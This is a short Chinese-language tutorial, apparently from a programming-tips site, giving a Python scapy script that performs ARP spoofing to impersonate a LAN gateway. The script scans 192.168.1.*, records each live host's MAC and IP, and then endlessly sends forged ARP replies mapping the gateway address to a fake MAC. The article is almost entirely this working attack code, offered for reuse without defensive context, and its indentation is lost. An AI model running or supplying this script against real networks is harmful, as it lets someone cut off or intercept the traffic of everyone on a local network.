python使用arp欺騙偽造網(wǎng)關(guān)的方法
這篇文章主要介紹了python使用arp欺騙偽造網(wǎng)關(guān)的方法,涉及Python偽造網(wǎng)關(guān)的相關(guān)技巧,需要的朋友可以參考下
本文實(shí)例講述了python使用arp欺騙偽造網(wǎng)關(guān)的方法。分享給大家供大家參考。具體實(shí)現(xiàn)方法如下:
#coding:utf-8
'''
arp欺騙局域網(wǎng)pc,將偽造的網(wǎng)關(guān)mac以網(wǎng)關(guān)的arp應(yīng)答發(fā)送給pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#偽造網(wǎng)關(guān)mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
#偽造來(lái)自網(wǎng)關(guān)的arp應(yīng)答
t=p
t.hwdst=hw
t.pdst=ip
send(t)
def get_host():
#得到在線(xiàn)主機(jī)的mac地址和對(duì)應(yīng)ip地址
hw_ip = {}
sys.stdout = open('host.info','w')
arping(IPADDR)
sys.stdout = stdout
f = open('host.info','r')
info = f.readlines()
f.close
del info[0]
del info[0]
for host in info :
temp = re.split(r'\s+',host)
hw_ip[temp[1]] = temp[2]
return hw_ip
if __name__ == "__main__":
hw_ip = get_host()
while 1 :
for i in hw_ip :
arp_hack(hw=i,ip=hw_ip[i])
希望本文所述對(duì)大家的Python程序設(shè)計(jì)有所幫助。
更多信息請(qǐng)查看IT技術(shù)專(zhuān)欄